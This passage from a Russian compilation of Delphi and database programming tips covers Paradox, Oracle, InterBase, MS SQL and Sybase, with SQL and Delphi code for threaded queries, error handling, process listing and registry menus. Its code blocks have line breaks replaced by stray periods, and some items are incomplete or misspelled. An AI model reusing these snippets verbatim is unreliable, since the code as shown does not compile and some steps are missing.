Проектирование или реконструкция моделей компонентов ИС и БД, их интеграция в общем понятийном пространстве;

Проектирование упорядоченной последовательности состояний корпоративной БД как последовательности совокупностей эксплуатируемых предметных БД, включающих: наследованные БД, структурно предопределенные БД "покупных" функциональных компонентов, спроектированные специально для данного предприятия БД, причем БД двух последних категорий постепенно заменяют наследованные и, затем и параллельно, заменяют друг друга в процессе развития ИС;

Открытость репозитория CASE-системы, словаря СУБД и системы 4GL, позволяющая надстраивать метаобъекты и механизмы требуемыми тезаурусными и глубинными семантическими отношениями между элементами, а также производить двухсторонний обмен метаинформацией с другими системами 4GL и CASE, соединять модели разных компонентов в одну с использованием и сохранением всех необходимых семантических отношений.

Компонентная открытость и смысловая интероперабельность.

Компонентный подход в разработке ИС требует компонентного проектирования БД. Замена некоторой функциональной компоненты ИС на подобную, но спроектированную другим разработчиком, потребует структурной замены некоторой части корпоративной БД. Такая замена должна поддерживаться как постоянный процесс перепроектирования БД. При замене компоненты БД интерфейсы с ней имеющихся приложений и их пользователей должны получать точно ту же в смысловом отношении информацию, что и ранее.

Реальное компонентное проектирование БД может основываться на формировании и использовании общей для комплексируемых компонент понятийной модели и поддержании соответствий между моделями компонент БД (и связанных с ними приложений) и общей понятийной моделью. В общем виде требования к формализмам таких моделей описывались ранее (см. [Zinder90]). В последнее время развиваются программные реализации полных формальных систем, обычно основанных на объектном подходе, которые могут приближаться к инструментальному решению этой задачи (см. например, [Калиниченко93]).

Разработка понятийных моделей и СКК.

Необходимость использования общих понятийных моделей заставляет заново рассматривать проблему проектирования БД того, что называется НСИ (нормативно-справочная информация) и СКК (система классификации и кодирования).

До сих пор часто встречается мнение, что СКК - средство сокращенного представления информации в интегрированной БД. На самом деле, отсутствие СКК или использование некорректно построенных СКК приводит к смысловой несовместимости информации, хранимой в различных БД или даже в одной БД. В этих условиях не приведет к достижению целей использование самых продвинутых режимов технологической интероперабельности. Таким образом, целесообразно использовать работы по проектированию БД с НСИ и проектирование СКК как начало и основу для создания понятийного пространства ПрО, для построения понятийной модели деятельности предприятия.

Понятийные модели и последующие проектные работы.

На последующих этапах проектирования собственно БД понятийная модель продолжает использоваться с различными целями, например:

Разработка совокупности разных предметных информационных моделей с выделением общих информационных сущностей;

Разработка функциональных моделей разных типов;

Разработка семантически богатых средств поддержки пользователя, и др.

Технологическая открытость.

В ИС новой архитектуры СУБД станут определяющим но не единственным компонентом интегрирующего ПО (в том числе - промежуточного, или middleware). Мониторы транзакций и процессов, средства семантического моделирования и использования понятийных моделей, СУБД- независимые средства разработки и исполнения приложений - другие классы компонентов ПО, обеспечивающие достижение этой цели.

Рекомендуется сохранение независимости от СУБД на основе использования инструментария и стандартов, охватывающих различные СУБД. Отказ от связи с одной СУБД, открытость CASE- репозитория, возможность развития метамоделей, поддерживаемых в репозитории, и применяемых к ним проектных процедур - это лишь минимальные требования к методам и инструментам.

Целесообразно ориентироваться на CASE-системы, ориентированные на возможность параллельного проектирования компонент независимыми разработчиками (в том числе - без использования данной CASE-системы) с последующей интеграцией метаинформации.

Средства разработки приложений должны удовлетворять требованиям мобильности приложений и, одновременно, работы в гетерогенной среде распределенной БД.

Проблемы объемов, временных характеристик и физического проектирования.

Распространение БД класса VLDB требует более активного использования методов проектирования эффективных физических схем данных. Невозможно строить такие БД рассчитывая на постоянную реорганизацию путем переписи в новые физические структуры. Это так для операционных БД режима OLTP, тем более это так для терабайтных БД, ориентированных на OLAP. Легкость процедур выполнения реорганизаций указанным методом может становиться "ловушкой" для проектировщика, особенно - на первых этапах ввода БД в действие, когда ее перепись еще возможна из-за неполного объема.

Целесообразно на уровне новых технологий (применение многомерных структур, индексов битовых отображений и др.) вернуться к методам прогнозирования эксплуатационных характеристик БД, которые позволяли бы планировать устойчивость физической схемы как минимум на то время, пока экономические возможности не позволят расширять внешнюю память разных уровней для применения других подходов.

Большой рост объемов БД будет сопровождаться ростом требований к их надежности. К средствам и методам проектирования БД вследствие постоянно осуществляемого процесса перепроектирования БД будут непосредственно примыкать средства управления БД. Так, для обеспечения устойчивых к отказам данных необходимо владение средствами управления и синхронизации географически разнесенных теневых и резервных баз данных.

Проблема границ применимости двух основных методов проектирования.

В ходе исследований и практического проектирования должны быть определены границы применимости двух концепций: проектирование БД как объекта, осознано отделенного от прикладных программ, и объектно-ориентированное проектирование, в котором объект инкапсулирует и данные, и методы их обработки.

ЗАКЛЮЧЕНИЕ.

Создание корпоративных БД в условиях Нового Системного Проектирования - деятельность, использующая многие методы классического проектирования, но требующая иной организации и многих дополнительных методов, а также новых, которые заменили бы некоторые из тех, что были разработаны 10 и более лет назад.

Дисциплина проектирования БД в новых условиях еще отсутствует. Тем не менее, ее начала видны, ее элементы работают в реальных проектах.

В соответствии с принципом сохранения иммунитета к компьютерным революциям (см. [Зиндер95б]) классические методы проектирования БД должны продолжать использоваться, но только в тех в областях, где они действительно полезны. Методы проектирования, рассматриваемые в конкретных проектах корпоративных ИС и БД, и соответствующие инструменты должны проверяться на свои возможности обеспечивать функции в соответствии с требованиями Нового Системного Проектирования.

©Drkb::02445.

Взято с http://delphiworld.narod.ru.

Как создать БД в кодировке CP1251.

Code: CREATE DATABASE Efes2. USING CODESET 1251 TERRITORY RU. COLLATE USING IDENTITY;

Выполнение запросов к базе данных в фоне.

Данный документ объясняет как выполнить запрос в фоновом режиме, используя класс TThread. Для получения общей информации о классе TThread, пожалуйста обратитесь к документации Borland и электронной справке. Для понимания данного документа вам необходимо иметь представление о том, как работать с компонентами для работы с базами данных, поставляемых в комплекте с Delphi 2.0.

Для осуществления потокового запроса необходимо выполнение двух требований. Во-первых, потоковый запрос должен находиться в своей собственной сессии с использованием отдельного компонента TSession. Следовательно, на вашей форме должен находиться компонент TSession, имя которого должно быть назначено свойству SessonName компонента TQuery, используемого для выполнения потокового запроса. Для каждого используемого в потоке компонента TQuery вы должны использовать отдельный компонент TSession. При использовании компонента TDataBase, для отдельного потокового запроса должен также использоваться отдельный TDataBase. Второе требование заключается в том, что компонент TQuery, используемый в потоке, не должен подключаться в контексте это потока к TDataSource. Это должно быть сделано в контексте первичного потока.

Приведенный ниже пример кода иллюстрирует описываемый процесс. Данный модуль демонстрирует форму, которая содержит по два экземпляра следующих компонентов: TSession, TDatabase, TQuery, TDataSource и TDBGrid. Данные компоненты имеют следующие значения свойств:

Session1.

Active True;

SessionName "Ses1".

DataBase1.

AliasName "IBLOCAL".

DatabaseName "DB1".

SessionName "Ses1".

Query1.

DataBaseName "DB1".

SessionName "Ses1".

SQL.Strings "Select * from employee".

DataSource1.

DataSet "".

DBGrid1.

DataSource DataSource1.

Session2.

Active True;

SessionName "Ses2".

DataBase2.

AliasName "IBLOCAL".

DatabaseName "DB2".

SessionName "Ses2".

Query2.

DataBaseName "DB2".

SessionName "Ses2".

SQL.Strings "Select * from customer".

DataSource2.

DataSet "".

DBGrid1.

DataSource DataSource2.

Обратите внимание на то, что свойство DataSet обоих компонентов TDataSource первоначально никуда не ссылается. Оно устанавливается во время выполнения приложения, и это проиллюстрировано в коде.

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables; Type. TForm1 = class(TForm). Session1: TSession; Session2: TSession; Database1: TDatabase; Database2: TDatabase; Query1: TQuery; Query2: TQuery; DataSource1: TDataSource; DataSource2: TDataSource; DBGrid1: TDBGrid; DBGrid2: TDBGrid; GoBtn1: TButton; Procedure GoBtn1Click(Sender: TObject); End; TQueryThread = class(TThread). Private. FSession: TSession; FDatabase: TDataBase; FQuery: TQuery; FDatasource: TDatasource; FQueryException: Exception; Procedure ConnectDataSource; Procedure ShowQryError; Protected. Procedure Execute; override; Public. Constructor Create(Session: TSession; DataBase: TDatabase; Query: TQuery; DataSource: TDataSource); Virtual; End; Var. Form1: TForm1; Implementation. Constructor TQueryThread.Create(Session: TSession; DataBase: TDatabase; Query: TQuery; Datasource: TDataSource); Begin. Inherited Create(True); // Создаем поток c состоянием suspendend. FSession := Session; // подключаем все privat-поля. FDatabase := DataBase; FQuery := Query; FDataSource := Datasource; FreeOnTerminate := True; // Устанавливаем флаг освобождения потока после его завершения. Resume; // Продолжение выполнения потока. End; Procedure TQueryThread.Execute; Begin. Try. { Выполняем запрос и подключаем источник данных к компоненту TQuery, Вызывая ConnectDataSource из основного потока. (для этой цели используем Synchronize)}. FQuery.Open; Synchronize(ConnectDataSource); Except. { Ловим исключение (если оно происходит) и его дескриптор. В контексте основного потока (для этой цели используем. Synchronize). }. FQueryException := ExceptObject as Exception; Synchronize(ShowQryError); End; End; Procedure TQueryThread.ConnectDataSource; Begin. FDataSource.DataSet := FQuery; // Подключаем DataSource к TQuery. End; Procedure TQueryThread.ShowQryError; Begin. Application.ShowException(FQueryException); // Обрабатываем исключение. End; Procedure RunBackgroundQuery(Session: TSession; DataBase: TDataBase; Query: TQuery; DataSource: TDataSource); Begin. { Создаем экземпляр TThread с различными параметрами. }. TQueryThread.Create(Session, Database, Query, DataSource); End; {$R *.DFM}. Procedure TForm1.GoBtn1Click(Sender: TObject); Begin. { Запускаем два отдельных запроса, каждый в своем потоке }. RunBackgroundQuery(Session1, DataBase1, Query1, Datasource1); RunBackgroundQuery(Session2, DataBase2, Query2, Datasource2); End; End.

Трансляция ошибок.

Делаем ApplyUpdates. Если при insert(update) произошла ошибка (поле null, сработал check, etc.), то BDE всегда говорит "General SQL Error" вместо нормального сообщения об ошибке :-( Без CU все нормально, разумеется. Как бороть этот баг?

Используй нормальную трансляцию ошибок в Application.OnException. Вроде это.

Code: Procedure DBExceptionTranslate(E: EDBEngineError); Function OriginalMessage: string; Var. I: Integer; DBErr: TDBError; S: string; Begin. Result := ''; For I := 0 to E.ErrorCount - 1 do. Begin. DBErr := E.Errors[I]; Case DBErr.NativeError of. -836: { Intebase exception }. Begin. S := DBErr.Message; Result := #13#10 + Copy(S, Pos(#10, S) + 1, Length(S)); Exit; End; End; S := Trim(DBErr.Message); If S <> '' then. Result := Result + #13#10 + S; End; End; Begin. Case E.Errors[0].ErrorCode of. $2204: E.Message := LoadStr(SKeyDeleted); $271E, $2734: E.Message := LoadStr(SInvalidUserName); $2815: E.Message := LoadStr(SDeadlock); $2601: E.Message := LoadStr(SKeyViol); $2604: E.Message := LoadStr(SFKViolation) + OriginalMessage; Else. Begin. E.Message := Format(LoadStr(SErrorCodeFmt), [E.Errors[0].ErrorCode]) + OriginalMessage; End; End; End;

Прочитать список всех запущенных Exe/ Проверить запущен ли Exe?

Code: Uses. Psapi, tlhelp32; Procedure CreateWin9xProcessList(List: TstringList); Var. HSnapShot: THandle; ProcInfo: TProcessEntry32; Begin. If List = nil then Exit; HSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0); If (hSnapShot <> THandle(-1)) then. Begin. ProcInfo.dwSize := SizeOf(ProcInfo); If (Process32First(hSnapshot, ProcInfo)) then. Begin. List.Add(ProcInfo.szExeFile); While (Process32Next(hSnapShot, ProcInfo)) do. List.Add(ProcInfo.szExeFile); End; CloseHandle(hSnapShot); End; End; Procedure CreateWinNTProcessList(List: TstringList); Var. PIDArray: array [0..1023] of DWORD; Cb: DWORD; I: Integer; ProcCount: Integer; HMod: HMODULE; HProcess: THandle; ModuleName: array [0..300] of Char; Begin. If List = nil then Exit; EnumProcesses(@PIDArray, SizeOf(PIDArray), cb); ProcCount := cb div SizeOf(DWORD); For I := 0 to ProcCount - 1 do. Begin. HProcess := OpenProcess(PROCESS_QUERY_INFORMATION or. PROCESS_VM_READ, False, PIDArray[I]); If (hProcess <> 0) then. Begin. EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb); GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName)); List.Add(ModuleName); CloseHandle(hProcess); End; End; End; Procedure GetProcessList(var List: TstringList); Var. Ovi: TOSVersionInfo; Begin. If List = nil then Exit; Ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); GetVersionEx(ovi); Case ovi.dwPlatformId of. VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List); VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List); End. End; Function EXE_Running(FileName: string; bFullpath: Boolean): Boolean; Var. I: Integer; MyProcList: TstringList; Begin. MyProcList := TStringList.Create; Try. GetProcessList(MyProcList); Result := False; If MyProcList = nil then Exit; For i := 0 to MyProcList.Count - 1 do. Begin. If not bFullpath then. Begin. If CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then. Result := True. End. Else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True; If Result then Break; End; Finally. MyProcList.Free; End; End; // Example 1: Is a Exe-File running ? Procedure TForm1.Button1Click(Sender: TObject); Begin. If EXE_Running('Notepad.exe', False) then. ShowMessage('EXE is running'). Else. ShowMessage('EXE is not running'); End; // Example 2: List running Exe-Files. Procedure TForm1.Button3Click(Sender: TObject); Var. I: Integer; MyProcList: TstringList; Begin. MyProcList := TStringList.Create; Try. GetProcessList(MyProcList); If MyProcList = nil then Exit; For i := 0 to MyProcList.Count - 1 do. ListBox1.Items.Add(MyProcList.Strings[i]); Finally. MyProcList.Free; End; End;

Как на Oracle поменять compatible.

Подскажите, как на Oracle 7.3.2.3 (Solaris x86) поменять compatible на 7.3.2.3 (c 7.1.0.0)?

Ставить в initmybase.ora.

Compatible = "7.3.2.3".

И после старта с новым параметром сделать.

Code: ALTER DATABASE RESET COMPABILITY;

Как настроить Personal Oracle с русским языком на корректную работу с числами и BDE.

Прописать в.

\HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE параметр:

NLS_NUMERIC_CHARACTERS = '.,'

Или.

После соединения с ORACLE выполнить.

Code: ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '.,'

TClientDataSet. Утечка памяти при загрузке XML.

Например, если делаем:

Code: ClientDataSet.LoadFromFile('c:\tmp\1.xml'); ClientDataSet.Close;

32-битное соединение с сервером Sybase.

Данный документ содержит информацию, позволяющую осуществить подключение к базе данных Sybase через 32-битный пакет от фирмы Borland Sybase SQL Links, поставляемый в составе Delphi 2.x. Клиентское программное обеспечение Sybase займет на вашем жестком диске приблизительно 10+ мегабайт свободного пространства.

Шаги для подключения:

Убедитесь в том, что пакет SQL Links установлен на вашем локальном диске. При полной установке Delphi 2.x это должно быть уже установлено в системе.

Инсталируйте клиентское программное обеспечение Sybase.

При появлявлении в процессе установки диалога выбора 16- и 32-разрядной версии Sybase links, выберите только 32-битную версию (отметьте галочкой) и убедитесь в том, что опция 16-битной версии выключена.

После того, как клиентское программное обеспечение будет установлено на вашем жестком диске, у вас попросят разрешение на автоматическую программную коррекцию вашего файла AUTOEXEC.BAT. Выберите YES.

На запрос по поводу редактирования вашего файла SQL.INI ответьте YES.

В секции "Input Server Name:" (введите имя сервера) укажите псевдоним сервера. Щелкните на кнопке 'Add' (добавить) для внесения имени сервера в список "Server Entry:". Затем убедитесь в том, что поля редактирования "Service Type:" (тип сервиса) (должно быть 'query' (запрос)), "Platform:" (платформа) (по умолчанию обычно устанавливается в NT, dos или Win3), и "Net-Library Driver:" (драйвер сетевой библиотеки) (должен быть NLWNSCK или NLNWLINK) содержат верные сведения. Заполните поле редактирования "Connection Information/Network Address:" (адрес информационного/сетевого соединения), введя сетевой адрес сервера, с которым вы хотите иметь соединение. Щелкните на кнопке 'Add Service' (добавить сервис). Вы можете теперь пропинговать ваш сервер, щелкая по кнопке 'Ping'. Сохраните текущие настройки и выйдите из программы.

Завершите работу Windows и перегрузите машину.

В меню пуск выберите программную группу Delphi и запустите Database Explorer.

В Навигаторе баз данных (Database explorer) щелкните на закладке Database. Активизируйте пункт меню Object | New... В диалоговом окне в выпадающем списке должно стоять имя STANDARD. Щелкните на стрелке и выберите из появившегося списка SYBASE.

Теперь там должен быть псевдоним для вашего соединения с Sybase с именем SYBASE1. Убедитесь в том, что это имя выделено. Щелкните в Database Explorer на следующей закладке. В секции "Server Name" (имя сервера) выберите имя одного из серверов, которые вы поместили в ваш SQL.INI, и который пингуется. В секции "User Name" укажите имя пользователя, имеющего права на доступ к определенному в секции "Server Name" серверу. Убедитесь в том, что вы знаете пароль только что назначенного пользователя.

Дважды щелкните на имене псевдонима (SYBASE1) и в появившемся диалоговом окне введите имя пользователя и его пароль. Имя пользователя должно совпадать с именем, определенным в секции "User Name" для псевдонима Sybase. Введите пароль, соответствующий данному пользователю. Нажмите кнопку OK. Теперь около псевдонима Sybase (SYBASE1) вы должны увидеть иконку, обозначающую маленький зеленый ящик. Это означает успешное установление соединения.

Тестирование вашего соединения с помощью Delphi 2.x:

Разместите на пустой форме компоненты TDataSource, TTable и TDBGrid.

В Инспекторе Объектов (Object Inspector) установите для TDataSource свойство DataSet в 'Table1' (без кавычек).

В Инспекторе Объектов установите для TTable имя базы данных в SYBASE1. Переместитесь ниже до свойства TableName, и дважды щелкните на поле редактирования, расположенного около данного свойства. Должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. При этом должно уже отображаться имя пользователя, которое вы определили в Database Explorer для псевдонима Sybase. Введите соответствующий пароль. Нажмите на кнопку OK.

Теперь вы должны увидеть спискок, состоящий из имен таблиц. Выберите одно.

Щелкните на TDBGrid. Присвойте его свойству DataSource значение DataSource1.

Установите свойство Active компонента TTable в TRUE.

Теперь вы можете увидеть данные в TDBGrid. После запуска приложения должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. Введите пароль и нажмите OK. Теперь вы должны увидеть данные в табличной сетке.

Сообщения об ошибках:

Ошибка, связанная с невозможностью нахождения сетевой библиотеки: Данная ошибка означает, что программе не удалось найти нужную ей .DLL. Следующие файлы должны распологаться в вашем каталоге \Sybase\DLL:

Libblk.dll.

Libcomn.dll.

Libcs.dll.

Libct.dll.

Libintl.dll.

Libsrv.dll.

Libsybdb.dll.

Libtcl.dll.

Mscvrt10.dll.

Nldecnet.dll.

Nlmsnmp.dll.

Nlnwadvt.exe.

Nlnwlink.dll.

Nlwnsck.dll.

Предостережение: Данный документ не гарантирует установление соединения с сервером, он демонстрирует самый лучший и быстрый способ сделать это.

©Drkb::02998.

Взято с http://delphiworld.narod.ru.

Синтаксис SQL-функции Substring.

Code: SUBSTRING('Delphi World - это супер!!!' from 1 to 6).

Как сделать откат внутри триггера.

Внутри триггера нельзя управлять транзакциями, поэтому генерируешь там исключение а откат транзакции делаешь в приложении, пославшем запрос. Естественно exception должен предварительно создан.

Code: SET TERM !!; CREATE TRIGGER " DELETE_INV" FOR " TINV". ACTIVE BEFORE DELETE. POSITION 10. AS. BEGIN. IF (EXISTS (SELECT tOst.Id FROM tOst. WHERE tOst.Id = tInv.Id)). THEN. EXCEPTION EST_OSTATOK; END !! SET TERM ;!!

Как зарегистрировать свой пункт в меню для моего типа файлов?

Code: Uses. Registry; Procedure AddFileMenue(FilePrefix, Menue, Command: string); Var. Reg: TRegistry; Typ: string; Begin. Reg := TRegistry.Create; With reg do. Begin. RootKey := HKEY_CLASSES_ROOT; OpenKey('.' + FilePrefix, True); Typ := ReadString(''); If typ = '' then. Begin. Typ := Fileprefix + 'file'; WriteString('', typ); End; CloseKey; OpenKey(typ + '\shell\' + Menue + '\command', True); WriteString('', command + ' "%1"'); CloseKey; Free; End; End; Procedure DeleteFileMenue(Fileprefix, Menue: string); Var. Reg: TRegistry; Typ: string; Begin. Reg := TRegistry.Create; With reg do. Begin. RootKey := HKEY_CLASSES_ROOT; OpenKey('.' + Fileprefix, True); Typ := ReadString(''); CloseKey; OpenKey(typ + '\shell', True); DeleteKey(Menue); CloseKey; Free; End; End; { Example}. Procedure TForm1.Button1Click(Sender: TObject); Begin. AddFileMenue('rtf', 'Edit with Notepad', 'C:\Windows\system\notepad.exe'); { If you now click with the right mousebutton on a *.rtf-file then. You can see a Menuepoint: "Edit with Notepad". When Click on that point Notepad opens the file. } End; Procedure TForm1.Button2Click(Sender: TObject); Begin. { Undo your changes in the Registry: } DeleteFileMenue('rtf', 'Edit with Notepad'); End;

Как получить результирующим полем разницу между хранимой датой и текущей датой.

Code: SELECT CAST((поле_с_датой -"NOW") AS INTEGER) FROM MyBase.

Блокируется таблица в MS SQL Server.

По умолчанию, оператор UPDATE в MS SQL Server пытается поставить эксклюзивную табличную блокировку. Вы можете обойти это, используя ключевое слово FROM в сочетании с опцией PAGLOCK для использования MS SQL Server страничных блокировок вместо эксклюзивной табличной блокировки:

Code: UPDATE orders. SET customer_id=NULL. FROM orders(PAGLOCK). WHERE customer_id=32;

Local SQL и временная таблица.

Local SQL не поддерживает вложенные запросы, но после того как я заработал клок седых волос, я нашел в высшей степени простое решение: использование временной таблицы.

Пример:

Code: With GeneralQuery do. Begin. SQL.Clear; SQL.Add(.... внутренний SQL); SQL.Open; DbiMakePermanent(handle, 'temp.db',true); SQL.Clear; SQL.Add(SELECT ... FROM 'temp.db'....); SQL.Open; End;

Не сохраняются изменения в базе Paradox.

Где-нибудь при закрытии главной формы выполните нижеследующие куски кода:

При открытой таблице:

Code: Table.FlushBuffers;

Каскадированное удаление с проверкой целостности Paradox.

Таблицы Paradox имеют характеристику проверки целостности (Referential Integrity). Данная характеристика предотвращает добавление записей в дочернюю таблицу, для которых нет соответствующих записей в родительской таблице. Это также изменяет ключевое(ые) поле(я) в дочерней таблице при изменениях в соответствующем(их) ключевом(ых) поле(ях) родительской таблицы (обычно это называют каскадированным обновлением). Эти события происходят автоматически, и не требуют никакого вмешательства со стороны Delphi-приложений, использующих эти таблицы. Тем не менее, характеристика проверки целостности таблиц Paradox не работает с каскадированным удалением. То есть, Delphi не позволит вам удалять записи в родительской таблице при наличии существующих записей в дочерней таблице. Это могут сделать только дочерние записи "без родителей", обходя проверку целостности. При попытке удаления такой родительской записи, Delphi сгенерит объект исключительной ситуации.

Для того, чтобы каскадированное удаление дало эффект, требуется программное удаление соответствующих дочерних записей прежде, чем будет удалена родительская запись. В приложениях Delphi это делается посредством прерывания удаления записи в родительской таблице, удаление соответствующих записей в дочерней таблице (если таковая имеется), и затем продолжение удаления родительской записи.

Удаление записи таблицы осуществляется вызовом метода Delete компонента TTable, который удаляет текущую запись в связанной с компонентом таблице. Прерывание процесса удаления для выполнения других операций связано с созданием обработчика события BeforeDelete компонента TTable. Любые действия в обработчике события BeforeDelete произойдут прежде, чем приложением будет послана команда Borland Database Engine (BDE) на физическое удаление записи из табличного файла.

Для того, чтобы обработать удаление одной или более дочерних записей, в обработчике события BeforeDelete необходимо организовать цикл, осуществляющий вызов метода Delete компонента TTable для всех записей дочерней таблицы. Цикл основан на условии, что указатель на запись в таблице не позиционируется на конец набора данных, как указано методом Eof компонента TTable. Это также предполагает, что удаляются все дочерние записи, соответствующие родительским записям: если нет соответствующих записей, указатель на запись устанавливается на конец набора данных, условие выполнения цикла равно False, и метод Delete в теле цикла никогда не выполняется.

Code: Procedure TForm1.Table1BeforeDelete(DataSet: TDataset); Begin. With Table2 do. Begin. DisableControls; First; While not Eof do. Delete; EnableControls; End; End;

Как уменьшить дату в Paradox.

В Local SQL для Paradox имеется ошибка, вместо вычитания происходит сложение даты с константой.

Code: // Это добавляет единицу! UPDATE SAMPLE.DB SET DT = DT - 1. // а данное выражение даст правильный результат: UPDATE SAMPLE.DB SET DT = DT + (-1).

Как сменить пароль (master password) для таблицы Paradox.

Code: Var. Db: TDatabase; Desc: CRTblDesc; Begin. Db := PriceTable.OpenDatabase; FillChar( Desc, SizeOf( Desc ), #0 ); StrCopy( Desc.szTblName, PChar( PriceTable.TableName ) ); StrCopy( Desc.szTblType, szParadox ); StrCopy( Desc.szPassword, 'password' ); Desc.bProtected := TRUE; Check( DbiDoRestructure( db.Handle, 1, @Desc, nil, nil, nil, FALSE ) ); End;

Доступ к таблицам Paradox на CD или c флагом только для чтения.

Данный совет поможет вам разобраться в таком вопросе, как доступ к таблицам Paradox, расположенным на CD-ROM или диске, имеющем флаг "только для чтения".

Механиз блокирования файлов Paradox требует наличие файла PDOXUSRS.LCK, осуществляющий логику работы блокировки. Данный файл обычно создается во время выполнения приложения и располагается в том же каталоге, где и таблицы. Тем не менее, в случае с CD-ROM, во время выполнения программы нет никакой возможности создать на нем описанный выше файл. Решение простое: мы создаем этот файл и помещаем его на CD-ROM во время его (CD) создания. Следующая простейшая программка позволит создать вам файл PDOXUSRS.LCK и поместить его в образ компакта для его последующего копирования на CD-ROM:

Стартуйте пустой проект и добавьте на форму следующие компоненты: TEdit, TButton и TDatabase.

В обработчике кнопки OnClick используйте следующий код:

Code: Procedure TForm1.Button1Click(Sender: TObject); Begin. If ChkPath then. Check(DbiAcqPersistTableLock(Database1.Handle, 'PARADOX.DRO','PARADOX')); End;

Paradox и неверные индексы Win95.

Автор: David W. Husch.

Сообщение об ошибке: В файловой системе win95 существует ошибка, "микширующая" блокировку записи Paradox и механизм обновления. В хост-файлах Paradox в Windows 95 для работы нескольких пользователей измените следующие значения:

Select Control Panel.

System (icon).

Performance (Tab).

File System (Button).

Troubleshooting (Tab).

"Disable New File Sharing and Locking Semantics" (щелкните) (нажмите OK).

(Выключить общий доступ к новым файлам и семантику блокировки).

©Drkb::02958.

Взято с http://delphiworld.narod.ru.

Byte-поля Paradox.

Что за магия при записи в поле Paradox Byte? По этому поводу в документации ничего не сказано.

Есть 2 пути получить доступ к данным в TBytesField.

Просто вызовите метод GetData, передавая ему указатель на буфер, где сам буфер должен иметь размер, достаточный для хранения данных:

Code: Procedure SetCheckBoxStates; Var. CBStates: array[1..13] of Byte; Begin. CBStateField.GetData(CBStates); { Здесь обрабатываем данные... }. End;

Понятия Instance, Database etc.

Автор: Nomadic.

Перевод документации:

Что такое ORACLE Database?

Это данные которые будут обрабатываться как единое целое. Database состоит из файлов операционной системы. Физически существуют database files и redo log files. Логически database files содержат словари, таблицы пользователей и redo log файлы. Дополнительно database требует одну или более копий control file.

Что такое ORACLE Instance?

ORACLE Instance обеспечивает программные механизмы доступа и управления database. Instance может быть запущен независимо от любой database (без монтирования или открытия любой database). Один instance может открыть только одну database. В то время как одна database может быть открыта несколькими Instance.

Instance состоит из:

SGA (System Global Area), которая обеспечивает коммуникацию между процессами;

До пяти (в последних версиях больше) бэкграундовых процессов.

От себя добавлю - database включает в себя tablespace, tablespace включает в себя segments (в одном файле данных может быть один или несколько сегментов, сегменты не могут быть разделены на несколько файлов). segments включают в себя extents.

©Drkb::02734.

Взято с http://delphiworld.narod.ru.

Доступ к объекту Oracle.

Для этого можно воспользоваться компонентами от AllRoundAutomations Direct Oracle Access. Если кому надо могу поделиться. При помощи этих компонент можно не только производить простые запросы/вставки, но и выполнять DDL-скрипты, и иметь доступ к объектам Oracle 8, примет смотри ниже...

Code: Var. Address: TOracleObject; Begin. Query.SQL.Text := 'select Name, Address from Persons'; Query.Execute; While not Query.Eof do. Begin. Address := Query.ObjField('Address'); If not Address.IsNull then. ShowMessage(Query.Field('Name') + ' lives in ' + Address.GetAttr('City')); Query.Next; End; End;

Компонент TStoredProc.

Недавно я перешел на использование Oracle, но все мои попытки использовать компонент TStoredProc оказываются неудачными. Почему?

Причины неработоспособности компонента TStoredProc могут быть следующими.

Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).

Во-вторых, имеется известная проблема, описание которой содержится в разделе Developers Support корпоративного сайта Inprise (http://www.inprise.com). Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.

©Drkb::02732.

Взято с http://delphiworld.narod.ru.

Как корректно прервать выполнение SQL-запроса?

Дает ли Delphi возможность корректно прервать выполнение SQL-запроса к серверу Oracle с помощью BDE? Например, чтобы при использовании с SQL Plus после отправки SQL-запроса на выполнение на экране появлялось окно с кнопкой Cancel, которое давало бы возможность в любой момент прервать выполнение этого запроса?

Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.

Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, в их число не входит.

©Drkb::02725.

Взято с http://delphiworld.narod.ru.

Access to table disabled because of previous error. Read failure.

При добавлении новых записей с помощью метода TTable.AppendRecord в индексированную таблицу FoxPro через какое-то время (то есть при одновременном добавлении большого количества записей) возникает ошибка:

"Access to table disabled because of previous error. Read failure. File <имя_файла.cdx>".

Возможно, причина заключается в том, что операции чтения-записи в файл, содержащий таблицу FoxPro, особенно при использовании кэширования, предоставляемого операционной системой, конфликтуют с содержимым индексного файла (это часто происходит при многопользовательской работе). Дело в том, что ранние версии dBase, FoxPro, Clipper работали с неподдерживаемыми индексами, то есть индексные файлы не обновлялись одновременно с таблицей, и для их синхронизации требовалось выполнять специальные операции. Но соответствующие средства разработки, применявшиеся в то время, обычно не поддерживали никаких аналогов транзакций - записи чаще всего вставлялись по одной.

В случае применения старых версий формата FoxPro следует избегать кэширования при выполнении дисковых операций с файловым сервером, содержащим базу данных FoxPro. Кроме того, следует проверить и, если необходимо, изменить в настройках BDE параметры MINBUFSIZE, MAXBUFSIZE, LOCAL SHARE - возможно, проблема заключается в недостаточной величине буферов BDE для кэширования данных или в одновременном доступе к данным приложений, использующих и не использующих BDE.

Еще одним из способов решения этой проблемы (самым радикальным) является замена FoxPro на какую-нибудь из серверных СУБД. Например, InterBase неплохо справляется с одновременным вводом большого количества записей благодаря некоторым специфическим особенностям архитектуры этого сервера.

©Drkb::02934.

Взято с http://delphiworld.narod.ru.

